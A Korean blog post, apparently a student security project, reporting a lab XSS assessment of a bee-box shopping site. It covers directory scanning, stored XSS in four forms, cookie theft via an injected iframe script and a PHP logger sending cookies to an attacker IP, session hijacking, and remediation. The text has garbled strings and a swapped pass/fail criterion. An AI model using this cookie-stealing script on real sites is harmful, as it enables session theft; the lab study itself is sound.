1 XSS 취약점 개요
1.1 OWASP Top 10이란?
OWASP(The Open Web Application Security Project)는 오픈소스 웹 애플리케이션 보안 프로젝트이다. 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 3~4년 주기로 10대 웹 애플리케이션의 취약점 (OWASP TOP 10)을 발표했다. OWASP TOP 10은 웹 애플리케이션 취약점 중에서 빈도가 많이 발생하고, 보안상 영향을 크게 줄 수 있는 것들 10가지를 선정하여 2004년, 2007년, 2010년, 2013년, 2017년을 기준으로 발표되었고, 문서가 공개되었다. OWASP Top 10 프로젝트의 원래 목표는 단순히 개발자와 관리자의 인식을 높이는 것이었지만, 사실상 애플리케이션 보안의 업계 표준이 되었다.
1.2 XSS 취약점이란?
XSS(Cross-Site Scripting)이란 공격자가 클라이언트 스크립트를 이용하여 웹 사이트에 악의적인 스크립트를 삽입하여 개발자가 의도하지 않은 비정상적인 수행이 가능한 취약점이다. 공격자는 사용자의 정보를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 공격자는 해당 취약점을 통해 사용자와 관리자의 개인정보 및 쿠키 정보 탈취, 악성코드 감염, 웹 페이지 변조 등을 할 수 있다. XSS 취약점은 REF _Ref65516102 \h 그림 2‑1 OWASP Top 10 08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000D0000005F00520065006600360035003500310036003100300032000000 과 같이 2013년에는 A3, 2017년에는 A7에 선정되었으며 현 시점에서도 다른 취약점과의 복합적인 형태로 공격자들이 가장 선호하는 취약점 중 하나이다.
1.3 시나리오
점검 시나리오 |
Step 1) 웹 페이지 내 모든 입력 폼에 스트립트가 동작하는지 확인한다. |
Step 2) 스크립트가 동작하는 입력 폼을 통해 쿠키 값을 탈취한다. |
Step 3) 탈취한 쿠키 값을 통해 세션 하이재킹 공격을 시도한다. |
1.4 환경 구성
운영체제 | 주소 | |
공격자 PC | Kali Linux 2020.4 | 192.168.169.135 |
공격대상 서버 | bee-box v1.6 | 192.168.169.143 |
희생자 클라이언트 PC | Windows 10 Home | 192.168.169.1 |
1.5 취약점 진단 및 점검 도구
도구 | 설명 |
Dirsearch v0.4.1 | 디렉토리 구성 파악 |
1.6 점검 대상
희생자 도메인 |
192.168.169.143/gmshop |
1.7 디렉토리 구조 파악
취약점 진단을 시작하기에 앞서 dirsearch 도구를 이용하여 웹 서비스의 디렉터리 구조를 파악하겠다. dirsearch는 github에서 제공하는 오픈 소스 도구이며 콘솔 환경에서 작동한다. 그림 1-2와 같이 http://192.168.169.143/gmshop을 대상으로 스캔을 시도하면 dirsearch는 사전 파일이나 무차별 대입 공격을 통해 디렉터리 구조 파악 및 취약한 페이지를 찾는다. 스캔 결과는 이후에 취약점 분석 과정에 참고하겠다.
1.8 스캔 결과
Time: Thu Feb 25 09:18:36 2021 403 391B http://192.168.169.143:80/gmshop/.ht_wsr.txt 403 394B http://192.168.169.143:80/gmshop/.htaccess.bak1 403 396B http://192.168.169.143:80/gmshop/.htaccess.sample 403 394B http://192.168.169.143:80/gmshop/.htaccess.orig 403 394B http://192.168.169.143:80/gmshop/.htaccess.save 403 392B http://192.168.169.143:80/gmshop/.htaccessOLD 403 393B http://192.168.169.143:80/gmshop/.htaccessOLD2 403 384B http://192.168.169.143:80/gmshop/.htm 403 394B http://192.168.169.143:80/gmshop/.htaccess_orig 403 390B http://192.168.169.143:80/gmshop/.htpasswds 403 392B http://192.168.169.143:80/gmshop/.htaccessBAK 403 391B http://192.168.169.143:80/gmshop/.httr-oauth 403 394B http://192.168.169.143:80/gmshop/.htpasswd_test 403 395B http://192.168.169.143:80/gmshop/.htaccess_extra 403 392B http://192.168.169.143:80/gmshop/.htaccess_sc 403 385B http://192.168.169.143:80/gmshop/.html 403 395B http://192.168.169.143:80/gmshop/admin/.htaccess 200 6KB http://192.168.169.143:80/gmshop/admin/ 200 6KB http://192.168.169.143:80/gmshop/admin/?/login 200 6KB http://192.168.169.143:80/gmshop/admin/index 200 6KB http://192.168.169.143:80/gmshop/admin/index.php 200 32KB http://192.168.169.143:80/gmshop/cart 200 32KB http://192.168.169.143:80/gmshop/cart.php 200 34KB http://192.168.169.143:80/gmshop/company 200 32KB http://192.168.169.143:80/gmshop/community 200 144B http://192.168.169.143:80/gmshop/editor/ 200 144B http://192.168.169.143:80/gmshop/editor/tiny_mce 200 144B http://192.168.169.143:80/gmshop/editor/FCKeditor 200 144B http://192.168.169.143:80/gmshop/editor.php 200 144B http://192.168.169.143:80/gmshop/editor/tinymce/ 200 144B http://192.168.169.143:80/gmshop/editor/tiny_mce/ 200 144B http://192.168.169.143:80/gmshop/editor/stats/ 200 144B http://192.168.169.143:80/gmshop/editor 200 144B http://192.168.169.143:80/gmshop/editor/tinymce 200 2KB http://192.168.169.143:80/gmshop/email/ 200 4KB http://192.168.169.143:80/gmshop/error 200 4KB http://192.168.169.143:80/gmshop/error.php 200 4KB http://192.168.169.143:80/gmshop/error/ 200 3KB http://192.168.169.143:80/gmshop/head.php 200 5KB http://192.168.169.143:80/gmshop/images/ 200 47KB http://192.168.169.143:80/gmshop/index 200 47KB http://192.168.169.143:80/gmshop/index.php 200 47KB http://192.168.169.143:80/gmshop/index.php/login/ 200 3KB http://192.168.169.143:80/gmshop/lib/ 200 27KB http://192.168.169.143:80/gmshop/login 200 27KB http://192.168.169.143:80/gmshop/login.php 200 27KB http://192.168.169.143:80/gmshop/login/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel/ 200 27KB http://192.168.169.143:80/gmshop/login/admin/admin.asp 200 27KB http://192.168.169.143:80/gmshop/login/admin/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.html 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.jsp 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.js 200 27KB http://192.168.169.143:80/gmshop/login/index 200 27KB http://192.168.169.143:80/gmshop/login/super 200 27KB http://192.168.169.143:80/gmshop/login/login 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.aspx 200 27KB http://192.168.169.143:80/gmshop/login/oauth/ 200 27KB http://192.168.169.143:80/gmshop/login/cpanel.php 200 27KB http://192.168.169.143:80/gmshop/login/administrator/ 200 51KB http://192.168.169.143:80/gmshop/phpinfo.php 200 51KB http://192.168.169.143:80/gmshop/phpinfo 200 1KB http://192.168.169.143:80/gmshop/script/ 200 1KB http://192.168.169.143:80/gmshop/style 200 6KB http://192.168.169.143:80/gmshop/top 200 7KB http://192.168.169.143:80/gmshop/upload/ |
표 1-1 디렉터리 스캔결과
1 취약점 점검
1.1 XSS 취약점 존재 여부
XSS 취약점 존재 여부 | |
취약점 개요 | |
점검내용 | 웹 페이지 내 XSS 취약점 존재 여부 점검 |
점검목적 | 웹 페이지 내 XSS 취약점을 제거하여 악성 스크립트의 실행을 차단 |
보안위협 | 웹 애플리케이션에서 사용자 인수 값에 대한 필터링이 제대로 이루어지지 않을 경우, 사용자 인수 값을 받는 웹 사이트 게시판, URL 등에 악의적인 스크립트(자바 스크립트, VB 스크립트, ActiveX 플래시 등)를 삽입하여 게시글이나 이메일을 읽는 사용자의 쿠키(세션)을 도용하거나 악성코드(URL 리다이렉트)를 유포할 수 있음 |
점검대상 및 판단기준 | |
대상 | 소스코드, 웹 방화벽 |
판단기준 | 양호: 사용자 입력 인수 값에 대한 검증 및 필터링이 이루어지는 경우 |
취약: 사용자 입력 값에 대한 검증 및 필터링이 이루어지지 않으며, HTML 코드가 입력.실행되는 경우 |
취약점 점검
Step 1) 웹 페이지 내 입력 폼이 있는 모든 페이지를 찾는다.
자유게시판 : http://192.168.169.143/gmshop/board_list.php?boardIndex=6
1대1문의게시판 : http://192.168.169.143/gmshop/ask_list
상품질문 : 192.168.169.143/gmshop/goods_ask.php?gidx=217&userid=attacker
주문서작성 : http://192.168.169.143/gmshop/order_sheet.php?act=edit
Step 2) 위에서 찾은 페이지의 모든 입력 폼에 XSS 취약점 존재 여부를 점검한다.
2.1.1 자유게시판
그림 2‑1 자유게시판과 같이 위에서 순서대로 1부터 5까지의 숫자를 출력하도록 스크립트를 작성하였다. 스크립트 작성 및 저장 후 작성한 게시물로 접근하면 스크립트가 먹히는 곳이 있다면 숫자를 출력한다.
그림 2‑2와 같이 1, 3, 5를 출력하므로 이름, 제목, 내용의 입력 폼에 XSS 취약점이 존재한다.
2.1.2 1대1문의게시판
그림 2‑3 1대1 문의게시판과 같이 위에서 순서대로 1부터 4까지의 숫자를 출력하도록 스크립트를 작성하였다. 스크립트 작성 및 저장 후 작성한 게시물로 접근하면 스크립트가 먹히는 곳이 있다면 숫자를 출력한다.
그림 2‑4와 같이 1, 2, 3, 4를 출력하므로 이름, 이메일, 제목, 내용의 입력 폼에 XSS 취약점이 존재한다.
2.1.3 상품질문
그림 2‑5 상품질문과 같이 위에서 순서대로 1부터 2까지의 숫자를 출력하도록 스크립트를 작성하였다. 스크립트 작성 및 저장 후 작성한 게시물로 접근하면 스크립트가 먹히는 곳이 있다면 숫자를 출력한다.
그림 2‑6과 같이 1을 출력하므로 제목 입력 폼에 XSS 취약점이 존재한다.
2.1.4 주문서작성
그림 2‑7 주문자 정보와 그림 2‑8 수령자 정보처럼 위에서 순서대로 1부터 9까지의 숫자를 출력하도록 스크립트를 작성하였다. 스크립트 작성 및 저장 후 작성한 게시물로 접근하면 스크립트가 먹히는 곳이 있다면 숫자를 출력한다.
그림 2‑9와 그림 2‑10처럼 1, 2, 3, 5, 6, 7, 8을 출력하므로 주문자 성명, 주문자 이메일, 주문자 주소, 수령자 성명, 수령자 이메일, 수령자 주소, 수령자 상세주소의 입력 폼에 XSS 취약점이 존재한다.
2.2 쿠키 탈취
쿠키 탈취 | |
취약점 개요 | |
점검내용 | XSS 취약점을 이용해 다른 사용자의 쿠키 값을 탈취 가능한지 여부 점검 |
점검목적 | 웹 페이지 내 XSS 취약점을 제거하여 악성 스크립트의 실행을 차단 |
보안위협 | 해당 취약점이 존재할 경우 공격자는 쿠키 값을 이용하여 세션 하이재킹 공격이 가능함 |
점검대상 및 판단기준 | |
대상 | 소스코드 |
판단기준 | 양호: XSS 공격을 통해 쿠키 값이 노출되는 경우 |
취약: XSS 공격을 통해 쿠키 값이 노출되지 않는 경우 |
취약점 점검
Step 1) 공격자가 탈취한 쿠키 값을 저장할 서버를 만든다.
공격코드 |
document.write("<iframe src='http://192.168.169.135/cookie/cookie.php?cookie= "+document.cookie+"' width=0 height=0></iframe>"); |
표 2-1 a.js
표 2‑1 a.js 코드는 클라이언트가 해당 파일을 읽으면 클라이언트의 쿠키 값을 cookie.php의 인수로 넘긴다.
공격코드 |
<? $log_time = date("Y/m/d(H:i:s)", time()); $logname = date('Ymd'); $fp = fopen("cookie.html","a+"); $REMOTE_ADDR=$_SERVER['REMOTE_ADDR']; $REMOTE_PORT=$_SERVER['REMOTE_PORT']; $HTTP_USER_AGENT=$_SERVER['HTTP_USER_AGENT']; $HTTP_REFERER=$_SERVER['HTTP_REFERER']; $cookie = $_GET['cookie']; fwrite($fp," <table width='100%' height='22%' border='1' cellpadding='5'> <tr> <td width='8%' height='27%' align='right'>�ð� : </td> <td width='55%'> $log_time </td> <td width='6%' align='right'>������ : </td> <td width='31%'>$REMOTE_ADDR:$REMOTE_PORT</td> </tr> <tr> <td height='27%' align='right'>�������� : </td> <td colspan='3'>$HTTP_USER_AGENT</td> </tr> <tr> <td height='27%' align='right'>������ : </td> <td colspan='3'><a href='$HTTP_REFERER'>$HTTP_REFERER</td> </tr> <tr> <td height='19%' align='right'>��Ű : </td> <td style='word-break:break-all;' colspan='3'>$cookie</td> </tr> </table> "); fclose($fp); ?> |
표 2-2 cookie.php
표 2‑2 cookie.php 코드는 표 2‑1 a.js에서 넘겨준 cookie 값과 클라이언트의 IP정보, 포트정보, 브라우저 버전정보 등을 형식에 맞춰 cookie.html에 저장한다.
Step 2) 스크립트가 작동하는 모든 입력 폼에 아래의 스크립트 코드를 입력하여 쿠키 값 탈취 가능 여부를 확인한다.
<script src="http://192.168.169.143/cookie/a.js"></script>
2.2.1 자유게시판
자유게시판에 그림 2‑11과 같이 a.js 코드를 불러오는 스크립트를 작성하고 게시물을 작성한다.
희생자의 아이디로 공격자가 자유게시판에 등록한 게시물을 열람한다.
그림 2‑13과 같이 cookie.html에서 게시물을 열람한 희생자 클라이언트의 쿠키 값, IP정보, 포트정보, 브라우저 버전 등을 열람할 수 있다.
2.2.2 1대1 문의게시판
1대1 문의게시판에 그림 2‑14와 같이 a.js 코드를 불러오는 스크립트를 작성하고 게시물을 작성한다.
1대1 문의게시판은 다른 사용자가 작성한 글을 볼 수 없으므로 공격자의 아이디로 게시물을 열람한다.
그림 3‑16과 같이 cookie.html에서 게시물을 열람한 공격자 클라이언트의 쿠키 값, IP정보, 포트정보, 브라우저 버전 등을 열람할 수 있다.
2.2.3 상품질문
상품질문에 그림 2‑17과 같이 a.js 코드를 불러오는 스크립트를 작성하고 게시물을 작성한다.
희생자의 아이디로 공격자가 자유게시판에 등록한 게시물을 열람한다.
그림 2-19와 같이 cookie.html에서 게시물을 열람한 희생자 클라이언트의 쿠키 값, IP정보, 포트정보, 브라우저 버전 등을 열람할 수 있다.
2.2.4 주문서작성
상품질문에 그림 2‑20과 같이 모든 입력 폼에 a.js 코드를 불러오는 스크립트를 작성하고 게시물을 작성한다.
그림 2‑21과 같이 cookie.html에서 게시물을 열람한 희생자 클라이언트의 쿠키 값, IP정보, 포트정보, 브라우저 버전 등을 열람할 수 있다.
2.3 쿠키 변조
쿠키 변조 | |
취약점 개요 | |
점검내용 | 쿠키 사용 여부 및 사용하는 경우 안전한 알고리즘으로 암호화 여부 점검 |
점검목적 | 쿠키를 사용하는 경우 안전한 알고리즘으로 암호화하여 공격자가 쿠키 인젝션 같은 쿠키 값 변조를 통한 다른 사용자로의 위장 및 권한 변경을 방지하고자 함 |
보안위협 | 쿠키는 클라이언트에 전달되는 값으로 중요 정보로 구성되므로 이 정보의 조작을 통해 다른 사용자의 유효한 세션을 취득할 수 있으며, 기타 중요 정보의 유출 및 변조가 발생할 위험이 존재 |
점검대상 및 판단기준 | |
대상 | 소스코드 |
판단기준 | 양호: 쿠키를 사용하지 않고 Server Side Session을 사용하고 있거나, 쿠키를 사용하고 있는 경우 안전한 알고리즘이(SEED, 3DES, AES) 적용되어 있는 경우 |
취약: 안전한 알고리즘이 적용되어 있지 않는 쿠키를 사용하거나, Client Side Session을 사용하는 경우 |
취약점 점검
Step 1) 탈취한 쿠키 값을 이용해 브라우저에서 쿠키 값을 수정하여 다른 사용자로 위장을 시도한다.
현재 공격자는 attacker 계정, 희생자는 victim 계정으로 로그인한 상태이다.
공격자는 그림 2‑23처럼 브라우저의 개발자 도구를 이용해 그림 2‑13에서 탈취한 쿠키 값으로 수정한다.
그림 2‑24와 같이 쿠키 값을 수정하고 새로고침하면 계정이 victim계정으로 로그인된다.
3 대응방안
3.1 XSS 취약점, 쿠키 탈취
보안설정방법
step 1) 게시물에 HTML이나 자바 스크립트에 해당되는 태그 사용을 사전에 제한하고, 사용자가 입력한 인수 값에 대한 필터링 작업 필요
step 2) 게시물의 본문뿐만 아니라 제목, 댓글, 검색어, 입력 창, 그 외 사용자 측에서 넘어오는 값을 신뢰하는 모든 form과 인수 값에 대해서 필터링을 수행함
step 3) 입력 값에 대한 필터링 로직 구현 시 공백 문자를 제거하는 trim, replace 함수를 사용하여 반드시 서버 측에서 구현되어야 함
*필터링 조치 대상 입력 값
(1) 스크립트 정의어 : <SCRIPT>, <OBJECT>, <APPLET>, <EMBED>, <FORM>, <IFRAME> 등
(2) 특수문자: <, >, “, ‘, &, %, %00(null) 등
step 4) URLDecoder 클래스에 존재하는 decode 메소드를 통해 URL 인코딩이 적용된 사용자 입력 값을 디코딩함으로써 우회 공격 차단
step 5) 웹 방화벽에 모든 사용자 입력 폼(회원정보 변경, 게시판, 댓글, 자료실, 검색, URL 등)을 대상으로 특수문자, 특수 구문 필터링하도록 룰셋 적용
3.2 쿠키 변조
보안설정방법
step 1) 쿠키 대신 보안성이 강한 Server Side Session을 사용해야 한다. Client Side Session 방식인 쿠키는 그 구조상 다양한 취약점에 노출될 수 있으므로 가능한 웹 서버에서 제공되는 Server Side Session을 사용하는 것이 바람직함
step 2) 쿠키를 사용해서 중요 정보나 인증을 구현해야 할 경우 안전한 알고리즘(SEED, 3DES, AES 등) 적용
4 참고 문헌
4.1 단행본
도서명 | 저자 | 출판사 |
(한국인터넷진흥원)_주요정보통신기반시설_기술적_취약점_분석_평가_상세_가이드_(2017) | 한국인터넷진흥원 | 한국인터넷진흥원 |
1.2 참조 홈페이지
참조 홈페이지 |
https://ictinstitute.nl/owasp-top-10-vulnerabilities/ https://ko.wikipedia.org/wiki/OWASP |
'보안프로젝트' 카테고리의 다른 글
[보안프로젝트] 쇼핑몰 대상 인증처리 미흡 취약점 진단 및 대응방안 수립 (0) | 2021.08.09 |
---|---|
[보안프로젝트] 파이썬으로 공공데이터 Open API 이용하기 (0) | 2021.08.09 |
[보안프로젝트] 도커 환경을 이용한 테스트 환경 서비스 구축 그리고 로그, 이미지 관리 방법 (0) | 2021.08.09 |
[보안프로젝트] 시나리오 기반 모의해킹 프로젝트 (3) | 2021.07.13 |
[보안프로젝트] Nmap NSE를 이용한 취약점 테스트 (0) | 2021.05.16 |
댓글